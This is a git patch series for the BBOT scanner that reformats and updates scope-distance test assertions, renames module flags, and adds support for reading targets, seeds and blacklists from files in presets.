e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) - assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:9999" and e.internal is True and e.scope_distance == 0]) - assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:9999" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 and str(e.module) == "sslcert"]) - assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "www.bbottest.notreal" and e.internal is False and e.scope_distance == 1 and str(e.module) == "sslcert"]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "www.bbottest.notreal:9999" and e.internal is True and e.scope_distance == 1 and str(e.module) == "speculate"]) - assert 1 == len([e for e in all_events if e.type == "DNS_NAME_UNRESOLVED" and e.data == "bbottest.notreal" and e.internal is True and e.scope_distance == 2 and str(e.module) == "speculate"]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "test.notreal:9999" and e.internal is True and e.scope_distance == 0 and str(e.module) == "speculate"]) - - assert len(all_events_nodups) == 11 - assert 1 == len([e for e in all_events_nodups if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:9999" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:9999" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 and str(e.module) == "sslcert"]) - assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME" and e.data == "www.bbottest.notreal" and e.internal is False and e.scope_distance == 1 and str(e.module) == "sslcert"]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "www.bbottest.notreal:9999" and e.internal is True and e.scope_distance == 1 and str(e.module) == "speculate"]) - assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME_UNRESOLVED" and e.data == "bbottest.notreal" and e.internal is True and e.scope_distance == 2 and str(e.module) == "speculate"]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "test.notreal:9999" and e.internal is True and e.scope_distance == 0 and str(e.module) == "speculate"]) + assert len(all_events) == 16 + assert 1 == len( + [ + e + for e in all_events + if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0 + ] + ) + assert 2 == len( + [ + e + for e in all_events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.0:9999" + and e.internal is True + and e.scope_distance == 0 + ] + ) + assert 2 == len( + [ + e + for e in all_events + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.1:9999" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and str(e.module) == "http"]) + assert 1 == len([e for e in all_events if e.type == "URL" and str(e.module) == "http"]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and str(e.module) == "speculate"]) + assert 1 == len( + [ + e + for e in all_events + if e.type == "DNS_NAME" + and e.data == "test.notreal" + and e.internal is False + and e.scope_distance == 0 + and str(e.module) == "sslcert" + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "DNS_NAME" + and e.data == "www.bbottest.notreal" + and e.internal is False + and e.scope_distance == 1 + and str(e.module) == "sslcert" + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "OPEN_TCP_PORT" + and e.data == "www.bbottest.notreal:9999" + and e.internal is True + and e.scope_distance == 1 + and str(e.module) == "speculate" + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "DNS_NAME_UNRESOLVED" + and e.data == "bbottest.notreal" + and e.internal is True + and e.scope_distance == 2 + and str(e.module) == "speculate" + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "OPEN_TCP_PORT" + and e.data == "test.notreal:9999" + and e.internal is True + and e.scope_distance == 0 + and str(e.module) == "speculate" + ] + ) + + assert len(all_events_nodups) == 14 + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.0:9999" + and e.internal is True + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.1:9999" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and str(e.module) == "http"]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL" and str(e.module) == "http"]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and str(e.module) == "speculate"]) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "DNS_NAME" + and e.data == "test.notreal" + and e.internal is False + and e.scope_distance == 0 + and str(e.module) == "sslcert" + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "DNS_NAME" + and e.data == "www.bbottest.notreal" + and e.internal is False + and e.scope_distance == 1 + and str(e.module) == "sslcert" + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "OPEN_TCP_PORT" + and e.data == "www.bbottest.notreal:9999" + and e.internal is True + and e.scope_distance == 1 + and str(e.module) == "speculate" + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "DNS_NAME_UNRESOLVED" + and e.data == "bbottest.notreal" + and e.internal is True + and e.scope_distance == 2 + and str(e.module) == "speculate" + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "OPEN_TCP_PORT" + and e.data == "test.notreal:9999" + and e.internal is True + and e.scope_distance == 0 + and str(e.module) == "speculate" + ] + ) for _graph_output_events in (graph_output_events, graph_output_batch_events): - assert len(_graph_output_events) == 7 - assert 1 == len([e for e in _graph_output_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) + assert len(_graph_output_events) == 10 + assert 1 == len( + [ + e + for e in _graph_output_events + if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0 + ] + ) assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) - assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) + assert 1 == len( + [ + e + for e in _graph_output_events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0 + ] + ) assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:9999"]) - assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:9999" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 and str(e.module) == "sslcert"]) - assert 1 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "www.bbottest.notreal" and e.internal is False and e.scope_distance == 1 and str(e.module) == "sslcert"]) - assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "www.bbottest.notreal:9999"]) - assert 0 == len([e for e in _graph_output_events if e.type == "DNS_NAME_UNRESOLVED" and e.data == "bbottest.notreal"]) - assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "test.notreal:9999"]) + assert 1 == len( + [ + e + for e in _graph_output_events + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.1:9999" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and str(e.module) == "http"]) + assert 1 == len([e for e in _graph_output_events if e.type == "URL" and str(e.module) == "http"]) + assert 1 == len( + [e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and str(e.module) == "speculate"] + ) + assert 1 == len( + [ + e + for e in _graph_output_events + if e.type == "DNS_NAME" + and e.data == "test.notreal" + and e.internal is False + and e.scope_distance == 0 + and str(e.module) == "sslcert" + ] + ) + assert 1 == len( + [ + e + for e in _graph_output_events + if e.type == "DNS_NAME" + and e.data == "www.bbottest.notreal" + and e.internal is False + and e.scope_distance == 1 + and str(e.module) == "sslcert" + ] + ) + assert 0 == len( + [e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "www.bbottest.notreal:9999"] + ) + assert 0 == len( + [e for e in _graph_output_events if e.type == "DNS_NAME_UNRESOLVED" and e.data == "bbottest.notreal"] + ) + assert 0 == len( + [e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "test.notreal:9999"] + ) # sslcert with out-of-scope chain events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( "127.0.1.0", seeds=["127.0.0.0/31"], modules=["sslcert"], - _config={"scope": {"search_distance": 1, "report_distance": 0}, "speculate": True, "modules": {"speculate": {"ports": "9999"}}}, + _config={ + "scope": {"search_distance": 1, "report_distance": 0}, + "speculate": True, + "modules": {"speculate": {"ports": "9999"}}, + }, _dns_mock={"www.bbottest.notreal": {"A": ["127.0.0.1"]}, "test.notreal": {"A": ["127.0.1.0"]}}, ) - assert len(events) == 4 - assert 1 == len([e for e in events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 1]) + # sslcert now depends on http (via HTTP_RESPONSE), and http doesn't probe out-of-scope + # servers, so the entire sslcert chain doesn't fire in this scenario. + assert len(events) == 3 + assert 1 == len( + [ + e + for e in events + if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 1 + ] + ) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1"]) assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:9999"]) assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:9999"]) - assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 and str(e.module) == "sslcert"]) + assert 0 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test.notreal"]) assert 0 == len([e for e in events if e.type == "DNS_NAME" and e.data == "www.bbottest.notreal"]) assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "test.notreal:9999"]) - assert len(all_events) == 11 - assert 1 == len([e for e in all_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 2]) - assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:9999" and e.internal is True and e.scope_distance == 2]) - assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:9999" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 and str(e.module) == "sslcert"]) - assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "www.bbottest.notreal" and e.internal is True and e.scope_distance == 3 and str(e.module) == "sslcert"]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "test.notreal:9999" and e.internal is True and e.scope_distance == 0 and str(e.module) == "speculate"]) - - assert len(all_events_nodups) == 9 - assert 1 == len([e for e in all_events_nodups if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:9999" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:9999" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 and str(e.module) == "sslcert"]) - assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME" and e.data == "www.bbottest.notreal" and e.internal is True and e.scope_distance == 3 and str(e.module) == "sslcert"]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "test.notreal:9999" and e.internal is True and e.scope_distance == 0 and str(e.module) == "speculate"]) + assert len(all_events) == 6 + assert 1 == len( + [ + e + for e in all_events + if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 2 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is True and e.scope_distance == 2 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.0:9999" + and e.internal is True + and e.scope_distance == 2 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.1:9999" + and e.internal is True + and e.scope_distance == 2 + ] + ) + + assert len(all_events_nodups) == 6 + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 2 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is True and e.scope_distance == 2 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.0:9999" + and e.internal is True + and e.scope_distance == 2 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.1:9999" + and e.internal is True + and e.scope_distance == 2 + ] + ) for _graph_output_events in (graph_output_events, graph_output_batch_events): - assert len(_graph_output_events) == 6 - assert 1 == len([e for e in graph_output_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 1]) - assert 0 == len([e for e in graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) - assert 1 == len([e for e in graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is True and e.scope_distance == 2]) - assert 0 == len([e for e in graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:9999"]) - assert 1 == len([e for e in graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:9999" and e.internal is True and e.scope_distance == 1]) - assert 1 == len([e for e in graph_output_events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 and str(e.module) == "sslcert"]) - assert 0 == len([e for e in graph_output_events if e.type == "DNS_NAME" and e.data == "www.bbottest.notreal"]) - assert 0 == len([e for e in graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "test.notreal:9999"]) + assert len(_graph_output_events) == 3 + assert 1 == len( + [ + e + for e in _graph_output_events + if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 1 + ] + ) + assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) + assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1"]) + assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:9999"]) + assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:9999"]) + assert 0 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "test.notreal"]) + assert 0 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "www.bbottest.notreal"]) + assert 0 == len( + [e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "test.notreal:9999"] + ) @pytest.mark.asyncio async def test_manager_blacklist(bbot_scanner, bbot_httpserver, caplog): - bbot_httpserver.expect_request(uri="/").respond_with_data(response_data="") + bbot_httpserver.expect_request(uri="/").respond_with_data( + response_data="" + ) # dns search distance = 1, report distance = 0 scan = bbot_scanner( - "127.0.0.0/29", "test.notreal", + "127.0.0.0/29", + "test.notreal", seeds=["http://127.0.0.1:8888"], modules=["http"], config={"excavate": True, "dns": {"minimal": False, "search_distance": 1}, "scope": {"report_distance": 0}}, blacklist=["127.0.0.64/29"], ) await scan._prep() - await scan.helpers.dns._mock_dns({ - "www-prod.test.notreal": {"A": ["127.0.0.66"]}, - "www-dev.test.notreal": {"A": ["127.0.0.22"]}, - }) + await scan.helpers.dns._mock_dns( + { + "www-prod.test.notreal": {"A": ["127.0.0.66"]}, + "www-dev.test.notreal": {"A": ["127.0.0.22"]}, + } + ) events = [e async for e in scan.async_start()] @@ -831,7 +3125,10 @@ async def test_manager_blacklist(bbot_scanner, bbot_httpserver, caplog): # the hostname is in-scope, but its IP is blacklisted, therefore we shouldn't see it assert not any(e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://www-prod.test.notreal:8888/") - assert 'Not forwarding DNS_NAME("www-prod.test.notreal", module=excavate' in caplog.text and 'because it has a blacklisted DNS record' in caplog.text + assert ( + 'Not forwarding DNS_NAME("www-prod.test.notreal", module=excavate' in caplog.text + and "because it has a blacklisted DNS record" in caplog.text + ) @pytest.mark.asyncio @@ -870,9 +3167,13 @@ async def test_scope_accuracy_with_special_urls(bbot_scanner, bbot_httpserver): was causing special URLs to be rejected by critical internal modules like `_scan_egress`, leading to the output of unwanted URLs. """ bbot_httpserver.expect_request(uri="/v2/users/spacex").respond_with_data(response_data="") - bbot_httpserver.expect_request(uri="/u/spacex").respond_with_data(response_data="") + bbot_httpserver.expect_request(uri="/u/spacex").respond_with_data( + response_data="" + ) - scan = bbot_scanner("ORG:spacex", modules=["http", "social", "dockerhub"], config={"speculate": True, "excavate": True}) + scan = bbot_scanner( + "ORG:spacex", modules=["http", "social", "dockerhub"], config={"speculate": True, "excavate": True} + ) await scan._prep() scan.modules["dockerhub"].site_url = "http://127.0.0.1:8888" @@ -887,7 +3188,7 @@ class DummyModule(BaseModule): accept_dupes = True accept_url_special = True events = [] - + async def handle_event(self, event): self.events.append(event) @@ -895,10 +3196,12 @@ async def handle_event(self, event): scan.modules["dummy_module"] = dummy_module events = [e async for e in scan.async_start()] - + # there are actually 2 URL events. They are both from the same URL, but one was extracted by the full URL regex, and the other by the src/href= regex. # however, they should be deduped by scan_ingress. - bad_url_events = [e for e in dummy_module.events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/asdf.js"] + bad_url_events = [ + e for e in dummy_module.events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/asdf.js" + ] assert len(bad_url_events) == 1 # they should both be internal assert all(e.internal is True for e in bad_url_events) From 294dedbf269875951d3d2c52aeb3d7b7cb4f4f55 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 27 Mar 2026 17:34:08 -0400 Subject: [PATCH 407/912] =?UTF-8?q?Fix=20module=20flags:=20web-basic?= =?UTF-8?q?=E2=86=92web,=20remove=20invalid=20aggressive/deadly=20flags?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- bbot/modules/http.py | 2 +- bbot/modules/web_brute.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/bbot/modules/http.py b/bbot/modules/http.py index 01dc6b3d0e..825e2d9287 100644 --- a/bbot/modules/http.py +++ b/bbot/modules/http.py @@ -10,7 +10,7 @@ class http(BaseModule): watched_events = ["OPEN_TCP_PORT", "URL_UNVERIFIED", "URL"] produced_events = ["URL", "HTTP_RESPONSE"] - flags = ["active", "safe", "web-basic", "social-enum", "subdomain-enum", "cloud-enum"] + flags = ["active", "safe", "web", "social-enum", "subdomain-enum", "cloud-enum"] meta = { "description": "Visit webpages using blasthttp (native Rust HTTP engine)", "created_date": "2026-03-08", diff --git a/bbot/modules/web_brute.py b/bbot/modules/web_brute.py index a7266c8b11..810bd018f2 100644 --- a/bbot/modules/web_brute.py +++ b/bbot/modules/web_brute.py @@ -9,7 +9,7 @@ class web_brute(BaseModule): watched_events = ["URL"] produced_events = ["URL_UNVERIFIED"] - flags = ["aggressive", "active", "deadly"] + flags = ["active", "loud"] meta = { "description": "A fast web fuzzer powered by blasthttp", "created_date": "2022-04-10", From 6213183919794cff787f060ad0c10e125ac88776 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 27 Mar 2026 19:41:14 -0400 Subject: [PATCH 408/912] Support files as targets/seeds/blacklist in presets Closes #1559 --- bbot/core/helpers/misc.py | 70 +++++++++++++++++++++++---- bbot/scanner/preset/args.py | 6 +-- bbot/scanner/preset/preset.py | 39 +++++++++++++-- bbot/test/test_step_1/test_presets.py | 51 +++++++++++++++++++ docs/scanning/presets.md | 22 ++++++++- 5 files changed, 171 insertions(+), 17 deletions(-) diff --git a/bbot/core/helpers/misc.py b/bbot/core/helpers/misc.py index 6c5211762c..2d464d597d 100644 --- a/bbot/core/helpers/misc.py +++ b/bbot/core/helpers/misc.py @@ -1128,6 +1128,8 @@ def chain_lists( remove_blank=True, validate=False, validate_chars='<>:"/\\|?*)', + base_dir=None, + source=None, ): """Chains together list elements, allowing for entries separated by commas. @@ -1136,6 +1138,10 @@ def chain_lists( The order of entries is preserved, and deduplication is performed automatically. + When ``try_files`` is True, each entry is checked to see if it is a file path. + Relative paths are resolved against ``base_dir`` first (if provided), then CWD. + Absolute paths are used as-is. + Args: l (list): The list of strings to chain together. try_files (bool, optional): Whether to try to open entries as files. Defaults to False. @@ -1143,6 +1149,10 @@ def chain_lists( remove_blank (bool, optional): Whether to remove blank entries from the list. Defaults to True. validate (bool, optional): Whether to perform validation for undesirable characters. Defaults to False. validate_chars (str, optional): When performing validation, what additional set of characters to block (blocks non-printable ascii automatically). Defaults to '<>:"/\\|?*)' + base_dir (Path, optional): Base directory for resolving relative file paths (e.g. the directory + of the preset YAML file). Relative paths are tried here first, then in CWD. Defaults to None. + source (str, optional): Where the entries came from (e.g. preset filename), included in warning + messages. Defaults to None. Returns: list: The list of chained elements. @@ -1166,15 +1176,21 @@ def chain_lists( if validate: if any((c in validate_chars) or (ord(c) < 32 and c != " ") for c in f): raise ValueError(f"Invalid character in string: {f}") - f_path = Path(f).resolve() - if try_files and f_path.is_file(): - if msg is not None: - new_msg = str(msg).format(filename=f_path) - log.info(new_msg) - for line in str_or_file(f): - final_list[line] = None - else: - final_list[f] = None + if try_files: + f_path = _resolve_file_path(f, base_dir) + if f_path is not None: + if msg is not None: + new_msg = str(msg).format(filename=f_path) + log.info(new_msg) + for line in str_or_file(str(f_path)): + final_list[line] = None + continue + elif _looks_like_filename(f): + source_str = f" (from {source})" if source else "" + log.warning( + f'"{f}" looks like a filename but no file was found{source_str}, treating it as a target' + ) + final_list[f] = None ret = list(final_list) if remove_blank: @@ -1182,6 +1198,42 @@ def chain_lists( return ret +def _resolve_file_path(f, base_dir=None): + """Try to resolve a string as a file path. + + For absolute paths, check directly. For relative paths, try base_dir first + (if provided), then CWD. + + Returns the resolved Path if a file is found, otherwise None. + """ + f_path = Path(f) + if f_path.is_absolute(): + f_path = f_path.resolve() + if f_path.is_file(): + return f_path + return None + # relative path: try base_dir first, then CWD + if base_dir is not None: + candidate = (Path(base_dir) / f_path).resolve() + if candidate.is_file(): + return candidate + candidate = f_path.resolve() + if candidate.is_file(): + return candidate + return None + + +# file extensions that suggest an entry was meant to be a file path +_file_extensions = {".txt", ".csv", ".list", ".lst", ".conf", ".cfg", ".tsv", ".tab", ".text"} + + +def _looks_like_filename(s): + """Return True if s looks like it was meant to be a filename.""" + if "/" in s or "\\" in s: + return True + return Path(s).suffix.lower() in _file_extensions + + def list_files(directory, filter=lambda x: True): """Lists files in a given directory that meet a specified filter condition. diff --git a/bbot/scanner/preset/args.py b/bbot/scanner/preset/args.py index ffda0de2a5..cb4c17ebff 100644 --- a/bbot/scanner/preset/args.py +++ b/bbot/scanner/preset/args.py @@ -403,14 +403,14 @@ def sanitize_args(self): self.parsed.exclude_modules = chain_lists(self.parsed.exclude_modules) self.parsed.output_modules = chain_lists(self.parsed.output_modules) self.parsed.targets = chain_lists( - self.parsed.targets, try_files=True, msg="Reading targets from file: {filename}" + self.parsed.targets, try_files=True, msg="Reading targets from file: {filename}", source="command line" ) if self.parsed.seeds is not None: self.parsed.seeds = chain_lists( - self.parsed.seeds, try_files=True, msg="Reading seeds from file: {filename}" + self.parsed.seeds, try_files=True, msg="Reading seeds from file: {filename}", source="command line" ) self.parsed.blacklist = chain_lists( - self.parsed.blacklist, try_files=True, msg="Reading blacklist from file: {filename}" + self.parsed.blacklist, try_files=True, msg="Reading blacklist from file: {filename}", source="command line" ) self.parsed.flags = chain_lists(self.parsed.flags) self.parsed.exclude_flags = chain_lists(self.parsed.exclude_flags) diff --git a/bbot/scanner/preset/preset.py b/bbot/scanner/preset/preset.py index 46052aa1c3..7f15ea511c 100644 --- a/bbot/scanner/preset/preset.py +++ b/bbot/scanner/preset/preset.py @@ -630,7 +630,7 @@ def in_target(self, host): return self.target.in_target(host) @classmethod - def from_dict(cls, preset_dict, name=None, _exclude=None, _log=False): + def from_dict(cls, preset_dict, name=None, _exclude=None, _log=False, _base_dir=None): """ Create a preset from a Python dictionary object. @@ -639,6 +639,7 @@ def from_dict(cls, preset_dict, name=None, _exclude=None, _log=False): name (str, optional): Name of preset _exclude (list[Path], optional): Preset filenames to exclude from inclusion. Used internally to prevent infinite recursion in circular or self-referencing presets. _log (bool, optional): Whether to enable logging for the preset. This will record which modules/flags are enabled, etc. + _base_dir (Path, optional): Base directory for resolving relative file paths in target/seeds/blacklist. Returns: Preset: The loaded preset @@ -646,15 +647,41 @@ def from_dict(cls, preset_dict, name=None, _exclude=None, _log=False): Examples: >>> preset = Preset.from_dict({"target": ["evilcorp.com"], "modules": ["portscan"]}) """ + from bbot.core.helpers.misc import chain_lists + # Handle seeds and targets from dict # for user-friendliness, we allow both "target" and "targets" to be used. we merge them into a single list. target_vals = (preset_dict.get("target") or []) + (preset_dict.get("targets") or []) - targets = list(dict.fromkeys(target_vals)) + _source = f"preset '{name}'" if name else "preset" + targets = chain_lists( + target_vals, + try_files=True, + msg="Reading targets from preset file: {filename}", + base_dir=_base_dir, + source=_source, + ) seeds = preset_dict.get("seeds") + if seeds is not None: + seeds = chain_lists( + seeds, + try_files=True, + msg="Reading seeds from preset file: {filename}", + base_dir=_base_dir, + source=_source, + ) + blacklist = preset_dict.get("blacklist") + if blacklist is not None: + blacklist = chain_lists( + blacklist, + try_files=True, + msg="Reading blacklist from preset file: {filename}", + base_dir=_base_dir, + source=_source, + ) new_preset = cls( *targets, seeds=seeds, - blacklist=preset_dict.get("blacklist"), + blacklist=blacklist, modules=preset_dict.get("modules"), output_modules=preset_dict.get("output_modules"), exclude_modules=preset_dict.get("exclude_modules"), @@ -724,7 +751,11 @@ def from_yaml_file(cls, filename, _exclude=None, _log=False): except FileNotFoundError: raise PresetNotFoundError(f'Could not find preset at "{filename}" - file does not exist') preset = cls.from_dict( - omegaconf.OmegaConf.create(yaml_str), name=filename.stem, _exclude=_exclude, _log=_log + omegaconf.OmegaConf.create(yaml_str), + name=filename.stem, + _exclude=_exclude, + _log=_log, + _base_dir=filename.parent, ) preset._yaml_str = yaml_str preset.filename = filename diff --git 